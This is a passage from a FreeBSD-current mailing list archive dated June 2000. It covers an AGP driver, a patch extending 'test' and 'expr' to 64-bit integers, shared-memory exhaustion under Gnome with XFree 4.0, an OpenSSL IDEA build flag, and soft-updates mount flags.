We've run out of mount option flags. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9:48:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from web1002.mail.yahoo.com (web1002.mail.yahoo.com [128.11.23.92]) by hub.freebsd.org (Postfix) with SMTP id F308937B799 for ; Fri, 23 Jun 2000 09:48:05 -0700 (PDT) (envelope-from drabson@yahoo.co.uk) Received: (qmail 24542 invoked by uid 60001); 23 Jun 2000 16:48:03 -0000 Message-ID: <20000623164803.24541.qmail@web1002.mail.yahoo.com> Received: from [209.179.127.104] by web1002.mail.yahoo.com; Fri, 23 Jun 2000 17:48:03 BST Date: Fri, 23 Jun 2000 17:48:03 +0100 (BST) From: =?iso-8859-1?q?Doug=20Rabson?= Subject: Re: AGPGART for FreeBSD To: Maxim Sobolev , current@freebsd.org Cc: multimedia@freebsd.org, dfr@nlsystems.com MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --- Maxim Sobolev wrote: > Hi, > > I've just found that somebody ported linux agpgart module (used by > the GXL) to > FreeBSD. Could someone take a look at it and tell me whether it have > a chances > to be imported into base system or I should create a port of it. > > http://utah-glx.sourceforge.net/gart/agpgart-freebsd-20000619.tar.gz I haven't looked at the code yet but there is really no need for this since the AGP driver which I committed to -current last week should work just fine for most reasonable uses. I will be merging this driver to 4.x as soon as it gets more testing in -current. ____________________________________________________________ Do You Yahoo!? Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk or your free @yahoo.ie address at http://mail.yahoo.ie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 9:48:29 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id AA3CA37C3D1; Fri, 23 Jun 2000 09:48:18 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 135Wcc-0000G6-00; Fri, 23 Jun 2000 18:48:02 +0200 From: Sheldon Hearn To: Alexander Leidinger Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG, sos@FreeBSD.ORG Subject: Re: Missing dependancies after config changes (atapi) In-reply-to: Your message of "Fri, 23 Jun 2000 18:21:48 +0200." <200006231621.SAA03706@Magelan.Leidinger.net> Date: Fri, 23 Jun 2000 18:48:02 +0200 Message-ID: <997.961778882@axl.ops.uunet.co.za> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 23 Jun 2000 18:21:48 +0200, Alexander Leidinger wrote: > Strange... I haven't anything modified in my local tree which could > result in such behavior: Too much is going on right now for any one success datapoint to convince you that everything's fine. :-) Check all the usual culprits (blow away kernel and userland obj trees, watch your optimizations etc) and if it still doesn't work for you, by then maybe someone else will be seeing your problem. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10: 5:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 2358E37BB6F; Fri, 23 Jun 2000 10:05:41 -0700 (PDT) (envelope-from sobomax@FreeBSD.org) Received: from vic.sabbo.net (vic.sabbo.net [193.193.218.106]) by blizzard.sabbo.net (8.9.1/8.9.3) with ESMTP id UAA14932; Fri, 23 Jun 2000 20:03:56 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.9.3/8.9.3) with ESMTP id UAA95250; Fri, 23 Jun 2000 20:04:45 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <395398A3.5A337EAB@FreeBSD.org> Date: Fri, 23 Jun 2000 20:04:35 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Doug Rabson Cc: current@FreeBSD.org, multimedia@FreeBSD.org, dfr@nlsystems.com Subject: Re: AGPGART for FreeBSD References: <20000623164803.24541.qmail@web1002.mail.yahoo.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug Rabson wrote: > --- Maxim Sobolev wrote: > Hi, > > > > I've just found that somebody ported linux agpgart module (used by > > the GXL) to > > FreeBSD. Could someone take a look at it and tell me whether it have > > a chances > > to be imported into base system or I should create a port of it. > > > > http://utah-glx.sourceforge.net/gart/agpgart-freebsd-20000619.tar.gz > > I haven't looked at the code yet but there is really no need for this > since the AGP driver which I committed to -current last week should > work just fine for most reasonable uses. I will be merging this driver > to 4.x as soon as it gets more testing in -current. Ah, well. Stupid question probably: are the linux newagpgart and our agp the same thing functionally or not? Looking at ioctls in include files it seems to me that answer is yes, but why then different names? -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10: 6:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131]) by hub.freebsd.org (Postfix) with ESMTP id D050237C421; Fri, 23 Jun 2000 10:06:11 -0700 (PDT) (envelope-from se@freebsd.org) Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.14 #3) id 135Wu8-0000zp-00; Fri, 23 Jun 2000 19:06:08 +0200 Received: from [213.6.107.5] (helo=StefanEsser.FreeBSD.org) by mx3.freenet.de with esmtp (Exim 3.14 #3) id 135Wu5-0005C3-00; Fri, 23 Jun 2000 19:06:07 +0200 Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200) id 6257CC23; Fri, 23 Jun 2000 19:05:14 +0200 (CEST) Date: Fri, 23 Jun 2000 19:05:14 +0200 From: Stefan Esser To: FreeBSD-current@FreeBSD.org Cc: Stefan Esser Subject: Extend "test" and "expr" to 64 bit integers Message-ID: <20000623190514.A3633@StefanEsser.FreeBSD.org> Reply-To: Stefan Esser Mail-Followup-To: Stefan Esser , FreeBSD-current@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG These simple changes make "test" and "expr" operate on 64 bit integers (tested on i86 only, but I plan to test them on Alpha next week). Motivation: I recently found a third party shell skript, which used "test" to verify the (numeric) match of a checksum. The algorithm worked on unsigned integers, and thus "test" failed when the checksum happened to come out > MAXINT ... Interestingly, the built in test command in Bash seemed to work, but when I performed a few tests, I've got the impression, that bash just silently fails! (Try "test 3000000000 -lt 3000000001" and "test 3000000000 -gt 3000000001" in Bash ... :) Obvious cost of my proposed changes is a little processing overhead (diminishing if compared to the cycles spent loading test or expr). But there are other issues that I'm worried about: 1) I choose "quad_t" for long integers. Is this a good choice ? In the kernel I'd use int64_t, but I'm not sure what is most appropriate here. 2) There is a new dependency on in test.c (for any of our 64 bit integer types). 3) The changes to "expr" rely on 32 bit integers being promoted to 64 bit integers in function calls (actually only invocations of make_integer().) This is in contrast to the old code, which strictly conformed to K&R C. I can fix the need for an implicit conversion by adding casts in all invocations of make_intereger(). Any opinios ? What does Posix say about these programs ? Regards, STefan Index: /usr/src/bin/test/test.c =================================================================== RCS file: /usr/cvs/src/bin/test/test.c,v retrieving revision 1.29 diff -u -2 -r1.29 test.c --- /usr/src/bin/test/test.c 1999/12/28 09:34:57 1.29 +++ /usr/src/bin/test/test.c 2000/06/23 15:56:26 @@ -154,4 +154,6 @@ static int isoperand __P((void)); static int getn __P((const char *)); +static quad_t getq __P((const char *)); +static int intcmp __P((const char *, const char *)); static int newerf __P((const char *, const char *)); static int olderf __P((const char *, const char *)); @@ -299,15 +301,15 @@ return strcmp(opnd1, opnd2) > 0; case INTEQ: - return getn(opnd1) == getn(opnd2); + return intcmp(opnd1, opnd2) == 0; case INTNE: - return getn(opnd1) != getn(opnd2); + return intcmp(opnd1, opnd2) != 0; case INTGE: - return getn(opnd1) >= getn(opnd2); + return intcmp(opnd1, opnd2) >= 0; case INTGT: - return getn(opnd1) > getn(opnd2); + return intcmp(opnd1, opnd2) > 0; case INTLE: - return getn(opnd1) <= getn(opnd2); + return intcmp(opnd1, opnd2) <= 0; case INTLT: - return getn(opnd1) < getn(opnd2); + return intcmp(opnd1, opnd2) < 0; case FILNT: return newerf (opnd1, opnd2); @@ -442,4 +444,46 @@ return (int) r; +} + +/* atoi with error detection and 64 bit range */ +static quad_t +getq(s) + const char *s; +{ + char *p; + quad_t r; + + errno = 0; + r = strtoq(s, &p, 10); + + if (errno != 0) + errx(2, "%s: out of range", s); + + while (isspace((unsigned char)*p)) + p++; + + if (*p) + errx(2, "%s: bad number", s); + + return r; +} + +static int +intcmp (s1, s2) + const char *s1, *s2; +{ + quad_t q1, q2; + + + q1 = getq(s1); + q2 = getq(s2); + + if (q1 > q2) + return 1; + + if (q1 < q2) + return -1; + + return 0; } Index: /usr/src/bin/expr/expr.y =================================================================== RCS file: /usr/cvs/src/bin/expr/expr.y,v retrieving revision 1.14 diff -u -2 -r1.14 expr.y --- /usr/src/bin/expr/expr.y 1999/08/27 23:14:22 1.14 +++ /usr/src/bin/expr/expr.y 2000/06/23 16:21:13 @@ -14,5 +14,7 @@ #include #include - +#include +#include + enum valtype { integer, numeric_string, string @@ -23,5 +25,5 @@ union { char *s; - int i; + quad_t i; } u; } ; @@ -88,5 +90,5 @@ struct val * make_integer (i) -int i; +quad_t i; { struct val *vp; @@ -140,9 +142,9 @@ -int +quad_t to_integer (vp) struct val *vp; { - int i; + quad_t i; if (vp->type == integer) @@ -153,5 +155,5 @@ /* vp->type == numeric_string, make it numeric */ - i = atoi(vp->u.s); + i = strtoq(vp->u.s, (char**)NULL, 10); free (vp->u.s); vp->u.i = i; @@ -174,5 +176,5 @@ } - sprintf (tmp, "%d", vp->u.i); + sprintf (tmp, "%lld", vp->u.i); vp->type = string; vp->u.s = tmp; @@ -240,5 +242,5 @@ if (result->type == integer) - printf ("%d\n", result->u.i); + printf ("%lld\n", result->u.i); else printf ("%s\n", result->u.s); @@ -496,7 +498,4 @@ } -#include -#include - struct val * op_colon (a, b) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10:10:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id BE99937BB6F for ; Fri, 23 Jun 2000 10:10:27 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id NAA11381; Fri, 23 Jun 2000 13:10:07 -0400 (EDT) Message-ID: <20000623131006.A10060@netmonger.net> Date: Fri, 23 Jun 2000 13:10:06 -0400 From: Christopher Masto To: gnome-list@gnome.org, current@freebsd.org Subject: Gnome INSANE shared memory usage Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a plea for help. I used to have a problem with Gnome - it ate up all of my SysV shared memory. My window manager (sawmill) 's title bars would come up blank because of this. I eventualy found the "use MIT-SHM" checkbox in the imlib settings and turned it off, and the problem mostly went away. I have recently upgraded to Gnome 1.2 and it has come back with a vengence. The checkbox no longer has any effect. I have bumped up the amount of shared memory, but it all gets used, no matter how much is available. It is driving me crazy. I can't run other programs (samba, fxtv) because there is never any shared memory left. Something is eating it all - gnome, gtk, imlib, I don't know how these pieces fit together or exactly where the fault lies. I am desperately looking for a solution that doesn't involve just giving up this very pleasant and otherwise useful software. I have asked a co-worker who also runs Gnome on FreeBSD to check his shared memory usage, and it was fine. The only difference is that I am running -current and he has 4.0-release. I can't find any evidence that I am not the only person on the planet having this problem, but I am completely out of ideas. Does anyone know what's going on here? Look at this output of "icps -mbop", it's ridiculous: Shared Memory: T ID KEY MODE OWNER GROUP NATTCH SEGSZ CPID LPID m 65536 5432010 --rwa------ pgsql pgsql 2 120 246 246 m 65537 5432001 --rw------- pgsql pgsql 2 1063936 246 246 m 65538 5432007 --rw------- pgsql pgsql 2 96424 246 246 m 196611 0 --rw-r--r-- root wheel 7 4096 324 599 m 262148 0 --rwarwarwa chris chris 2 65536 410 324 m 262149 0 --rwarwarwa chris chris 2 65536 408 324 m 1441798 0 --rw-r--r-- root wheel 15 4096 324 5409 m 1441799 0 --rwarwarwa chris chris 2 65536 410 324 m 262152 0 --rwarwarwa chris chris 2 65536 410 324 m 262153 0 --rwarwarwa chris chris 2 65536 408 324 m 196618 0 --rwarwarwa chris chris 2 65536 410 324 m 131083 0 --rwarwarwa chris chris 2 65536 402 324 m 131084 0 --rwarwarwa chris chris 2 65536 402 324 m 131085 0 --rwarwarwa chris chris 2 65536 402 324 m 131086 0 --rwarwarwa chris chris 2 65536 402 324 m 131087 0 --rwarwarwa chris chris 2 65536 402 324 m 131088 0 --rwarwarwa chris chris 2 65536 402 324 m 131089 0 --rwarwarwa chris chris 2 65536 400 324 m 131090 0 --rwarwarwa chris chris 2 65536 400 324 m 131091 0 --rwarwarwa chris chris 2 65536 400 324 m 131092 0 --rwarwarwa chris chris 2 65536 400 324 m 131093 0 --rwarwarwa chris chris 2 65536 400 324 m 131094 0 --rwarwarwa chris chris 2 65536 400 324 m 131095 0 --rw-r--r-- root wheel 3 4096 324 563 m 131096 0 --rwarwarwa chris chris 2 65536 408 324 m 131097 0 --rwarwarwa chris chris 2 65536 410 324 m 131098 0 --rwarwarwa chris chris 2 65536 408 324 m 131099 0 --rwarwarwa chris chris 2 65536 410 324 m 131100 0 --rwarwarwa chris chris 2 65536 408 324 m 131101 0 --rwarwarwa chris chris 2 65536 408 324 m 131102 0 --rwarwarwa chris chris 2 65536 412 324 m 131103 0 --rwarwarwa chris chris 2 65536 412 324 m 131104 0 --rwarwarwa chris chris 2 65536 412 324 m 131105 0 --rwarwarwa chris chris 2 65536 412 324 m 131106 0 --rwarwarwa chris chris 2 65536 412 324 m 65571 0 --rwarwarwa chris chris 2 65536 412 324 m 65572 0 --rw-r--r-- root wheel 6 4096 324 599 m 65573 0 --rw-r--r-- root wheel 8 4096 324 400 m 65574 0 --rw-r--r-- root wheel 11 4096 324 12638 m 196647 0 --rwarwarwa chris chris 2 32768 548 324 m 196648 0 --rwarwarwa chris chris 2 32768 548 324 m 196649 0 --rwarwarwa chris chris 2 32768 548 324 m 196650 0 --rwarwarwa chris chris 2 32768 548 324 m 196651 0 --rwarwarwa chris chris 2 32768 548 324 m 196652 0 --rwarwarwa chris chris 2 32768 548 324 m 196653 0 --rwarwarwa chris chris 2 32768 567 324 m 262190 0 --rwarwarwa root chris 2 32768 586 324 m 196655 0 --rwarwarwa chris chris 2 32768 567 324 m 262192 0 --rwarwarwa root chris 2 32768 586 324 m 262193 0 --rwarwarwa root chris 2 32768 586 324 m 196658 0 --rwarwarwa chris chris 2 32768 567 324 m 262195 0 --rwarwarwa root chris 2 32768 586 324 m 196660 0 --rwarwarwa chris chris 2 32768 567 324 m 262197 0 --rwarwarwa root chris 2 32768 586 324 m 196662 0 --rwarwarwa chris chris 2 32768 567 324 m 196663 0 --rw-r--r-- root wheel 5 4096 324 400 m 131128 0 --rwarwarwa chris chris 2 32768 565 324 m 196665 0 --rwarwarwa chris chris 2 32768 565 324 m 131130 0 --rwarwarwa chris chris 2 32768 565 324 m 131131 0 --rwarwarwa chris chris 2 32768 565 324 m 131132 0 --rwarwarwa chris chris 2 32768 567 324 m 131133 0 --rwarwarwa chris chris 2 32768 565 324 m 131134 0 --rwarwarwa chris chris 2 32768 565 324 m 196671 0 --rw-r--r-- root wheel 2 4096 324 586 m 196672 0 --rw-r--r-- root wheel 2 4096 324 586 m 196673 0 --rw-r--r-- root wheel 2 4096 324 599 m 196674 0 --rw-r--r-- root wheel 2 4096 324 599 m 196675 0 --rw-r--r-- root wheel 3 4096 324 599 m 196676 0 --rw-r--r-- root wheel 2 4096 324 599 m 196677 0 --rwarwarwa root chris 2 32768 586 324 m 65606 0 --rw-r--r-- root wheel 2 4096 324 599 m 65607 0 --rw-r--r-- root wheel 2 4096 324 599 m 65608 0 --rw-r--r-- root wheel 2 4096 324 599 m 65609 0 --rw-r--r-- root wheel 2 4096 324 599 m 65610 0 --rw-r--r-- root wheel 2 4096 324 599 m 65611 0 --rw-r--r-- root wheel 2 4096 324 599 m 65612 0 --rw-r--r-- root wheel 2 4096 324 599 m 65613 0 --rw-r--r-- root wheel 2 4096 324 599 m 65614 0 --rw-r--r-- root wheel 2 4096 324 599 m 65615 0 --rw-r--r-- root wheel 2 4096 324 599 m 65616 0 --rw-r--r-- root wheel 2 4096 324 599 m 65617 0 --rw-r--r-- root wheel 2 4096 324 599 m 65618 0 --rw-r--r-- root wheel 2 4096 324 599 m 65619 0 --rw-r--r-- root wheel 2 4096 324 599 m 65620 0 --rw-r--r-- root wheel 2 4096 324 599 m 65621 0 --rw-r--r-- root wheel 2 4096 324 599 m 65622 0 --rw-r--r-- root wheel 2 4096 324 599 m 65623 0 --rw-r--r-- root wheel 2 4096 324 599 m 65624 0 --rw-r--r-- root wheel 2 4096 324 599 m 65625 0 --rw-r--r-- root wheel 2 4096 324 599 m 65626 0 --rw-r--r-- root wheel 2 4096 324 599 m 852059 0 --rwarwarwa chris chris 2 32768 5409 324 m 720988 0 --rwarwarwa chris chris 2 32768 5409 324 m 458845 0 --rwarwarwa chris chris 2 32768 5409 324 m 196702 0 --rw-r--r-- root wheel 2 4096 324 599 m 65631 0 --rwarwarwa chris chris 2 32768 5409 324 m 65632 0 --rw-r--r-- root wheel 2 4096 324 5409 These are the processes mentioned there: 324 ?? Ss 9:21.71 /usr/X11R6/bin/X -dpi 128 -auth /usr/X11R6/lib/X11/wd 400 ?? Is 0:10.15 gmc --sm-config-prefix /gmc-Vex391/ --sm-client-id 11 402 ?? Ss 1:12.42 panel --sm-config-prefix /panel.d/default-aIQ389/ --s 408 ?? Is 0:03.04 deskguide_applet --activate-goad-server deskguide_app 410 ?? Is 0:02.57 tasklist_applet --activate-goad-server tasklist_apple 412 ?? Is 0:01.08 gweather --activate-goad-server gweather --goad-fd 12 548 p2- I 0:00.34 gnome-session --sm-disable --sm-config-prefix=/Left/ 563 ?? Ss 0:07.12 sawfish --sm-client-id 11d13615c700009610300770000000 565 ?? Is 0:06.03 gmc --sm-config-prefix /gmc-Vex391/ --sm-client-id 11 567 ?? Ss 0:03.96 panel --sm-config-prefix /panel.d/default-aIQ389/ --s 586 ?? Ss 29:37.62 gkrellm 599 ?? Is 2:28.99 netscape 5409 ?? S 0:00.94 xchat 12638 ?? I 0:00.15 rxvt -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10:22:27 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 417FD37B558 for ; Fri, 23 Jun 2000 10:22:19 -0700 (PDT) (envelope-from sobomax@FreeBSD.org) Received: from vic.sabbo.net (vic.sabbo.net [193.193.218.106]) by blizzard.sabbo.net (8.9.1/8.9.3) with ESMTP id UAA15589; Fri, 23 Jun 2000 20:20:49 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.9.3/8.9.3) with ESMTP id UAA00389; Fri, 23 Jun 2000 20:22:05 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <39539CB7.FCB177A0@FreeBSD.org> Date: Fri, 23 Jun 2000 20:22:00 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Christopher Masto Cc: gnome-list@gnome.org, current@FreeBSD.org Subject: Re: Gnome INSANE shared memory usage References: <20000623131006.A10060@netmonger.net> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Masto wrote: > This is a plea for help. > > I used to have a problem with Gnome - it ate up all of my SysV shared > memory. My window manager (sawmill) 's title bars would come up blank > because of this. I eventualy found the "use MIT-SHM" checkbox in the > imlib settings and turned it off, and the problem mostly went away. > > I have recently upgraded to Gnome 1.2 and it has come back with a > vengence. The checkbox no longer has any effect. I have bumped up > the amount of shared memory, but it all gets used, no matter how much > is available. It is driving me crazy. I can't run other programs > (samba, fxtv) because there is never any shared memory left. Something > is eating it all - gnome, gtk, imlib, I don't know how these pieces > fit together or exactly where the fault lies. I am desperately looking > for a solution that doesn't involve just giving up this very pleasant > and otherwise useful software. > > I have asked a co-worker who also runs Gnome on FreeBSD to check his > shared memory usage, and it was fine. The only difference is that I > am running -current and he has 4.0-release. Hmm, where my crystal ball... Aha, I see - probably you are using Xfree 4.0, while your friend Xfree3.5*. It is where the problem lie (see below). > I can't find any evidence that I am not the only person on the planet > having this problem, but I am completely out of ideas. Does anyone > know what's going on here? Look at this output of "icps -mbop", it's > ridiculous: Some time ago I've answered question like this, so let me quote myself: Subject: Re: Shared memory changes in current? Date: Tue, 06 Jun 2000 15:32:19 +0300 From: Maxim Sobolev To: Alexander Sanda "It has noting to do with kernel/gnome. XFree 4.0 is known to be very hungry for the shared memory, so you should increase SHMSEG parameter in your kernel config file. There are no guidelines as to what exact number will be sufficient, so you should define it in experimental way. I personally set it to 100 (options SHMSEG=100) and do not see any warnings anymore." -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10:43: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id CD08E37C3C5; Fri, 23 Jun 2000 10:42:52 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id TAA08444; Fri, 23 Jun 2000 19:43:14 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006231743.TAA08444@grimreaper.grondar.za> To: Neil Blakey-Milner Cc: Sheldon Hearn , Mark Murray , Jun Kuriyama , Current Subject: Re: Missing openssl/idea.h? References: <20000623164634.A24869@mithrandr.moria.org> In-Reply-To: <20000623164634.A24869@mithrandr.moria.org> ; from Neil Blakey-Milner "Fri, 23 Jun 2000 16:46:34 +0200." Date: Fri, 23 Jun 2000 19:43:14 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I can't find any local deltas in either of src/secure and src/crypto > > which might influence this. > > Do you have "WITH_IDEA" set? I had to manually set CFLAGS+= -DNO_IDEA > in secure/libssh, secure/ssh, secure/ssh-keygen, and secure/sshd's > Makefile from about 6 hours ago or so. The real fix is to set it in src/secure/Makefile.inc. (And your fix is incomplete - it must check for "yes"). I'll fix. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 10:55:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 0EA5437B551; Fri, 23 Jun 2000 10:55:39 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id NAA14681; Fri, 23 Jun 2000 13:55:29 -0400 (EDT) Message-ID: <20000623135528.A13894@netmonger.net> Date: Fri, 23 Jun 2000 13:55:28 -0400 From: Christopher Masto To: Maxim Sobolev Cc: gnome-list@gnome.org, current@FreeBSD.org Subject: Re: Gnome INSANE shared memory usage References: <20000623131006.A10060@netmonger.net> <39539CB7.FCB177A0@FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <39539CB7.FCB177A0@FreeBSD.org>; from Maxim Sobolev on Fri, Jun 23, 2000 at 08:22:00PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jun 23, 2000 at 08:22:00PM +0300, Maxim Sobolev wrote: > > Hmm, where my crystal ball... Aha, I see - probably you are using > Xfree 4.0, while your friend Xfree3.5*. It is where the problem lie > (see below). That is correct. > "It has noting to do with kernel/gnome. XFree 4.0 is known to be > very hungry for the shared memory, so you should increase SHMSEG > parameter in your kernel config file. There are no guidelines as to > what exact number will be sufficient, so you should define it in > experimental way. I personally set it to 100 (options SHMSEG=100) > and do not see any warnings anymore." Unfortunately, these are my current settings: options SHMALL=1025 options SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)" options SHMMAXPGS=1025 options SHMMIN=2 options SHMMNI=256 options SHMSEG=128 I can increase it more, but I think this is quite a ridiculous amount of shared memory to be using. Something must be wrong. I am now searching for a way to disable the MIT-SHM extension in the X server, but I think I may have to recompile. -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 12: 5:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131]) by hub.freebsd.org (Postfix) with ESMTP id 186EB37C417; Fri, 23 Jun 2000 12:04:57 -0700 (PDT) (envelope-from se@freebsd.org) Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.14 #3) id 135Yhi-0001uF-00; Fri, 23 Jun 2000 21:01:26 +0200 Received: from [213.6.105.72] (helo=StefanEsser.FreeBSD.org) by mx3.freenet.de with esmtp (Exim 3.14 #3) id 135Yhi-0004Ai-00; Fri, 23 Jun 2000 21:01:26 +0200 Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200) id 5605ECD8; Fri, 23 Jun 2000 21:01:11 +0200 (CEST) Date: Fri, 23 Jun 2000 21:01:10 +0200 From: Stefan Esser To: Matthew Dillon Cc: Poul-Henning Kamp , Peter Wemm , Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG, Stefan Esser Subject: Re: cvs commit: src/sys/contrib/softupdates softdep.h ffs_softdep.c Message-ID: <20000623210110.B8626@StefanEsser.FreeBSD.org> Reply-To: Stefan Esser Mail-Followup-To: Stefan Esser , Matthew Dillon , Poul-Henning Kamp , Peter Wemm , Adrian Chadd , Julian Elischer , Anders Andersson , cvs-all@FreeBSD.ORG, freebsd-current@FreeBSD.ORG References: <669.961737829@critter.freebsd.dk> <200006231641.JAA10742@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006231641.JAA10742@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jun 23, 2000 at 09:41:31AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-06-23 09:41 -0700, Matthew Dillon wrote: > Slight problem: We've run out of mount option flags. But there already ist MNT_SOFTDEP in ... #define MNT_SUIDDIR 0x00100000 /* special handling of SUID on dirs */ #define MNT_SOFTDEP 0x00200000 /* soft updates being done */ #define MNT_NOSYMFOLLOW 0x00400000 /* do not follow symlinks */ Hmmm, just checked in and found that the soft-updates state is already kept in the fs_flags element of struct fs (the super-block). /* * Super block for an FFS file system. */ struct fs { ... int8_t fs_flags; /* see FS_ flags below */ ... }; /* * Filesystem flags. */ #define FS_UNCLEAN 0x01 /* filesystem not clean at mount */ #define FS_DOSOFTDEP 0x02 /* filesystem using soft dependencies */ And in fsck/setup.c, I found: bufinit(); if (sblock.fs_flags & FS_DOSOFTDEP) usedsoftdep = 1; else usedsoftdep = 0; return (1); So its obvious, that we could make "-o softdep" a mount option, do away with the tunefs option, and have the *kernel* record the use of soft-updates on a R/W mounted file system when it marks the file system FS_UNCLEAN in the fs_flags files in the super-block. If a file system is unmounted cleanly, the FS_DOSOFTDEP flag can be cleared along with the FS_UNCLEAN bit, since the next mount is free to decide whether to use soft-updates or not. This is more safe than the tunefs method, since FS_DOSOFTDEP will only be set if the last R/W mount was on a kernel that supported soft-updates ... Only problem I see (but that is not different from the current situation) is that "mount -u" can't change the soft-updates state, if a file-system is mounted R/W. This should probably be inforced in the kernel (not the mount command) and there should be *no* way to "force" mount to override this lock. Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 23 12:20:27 2000 Delivered-To: 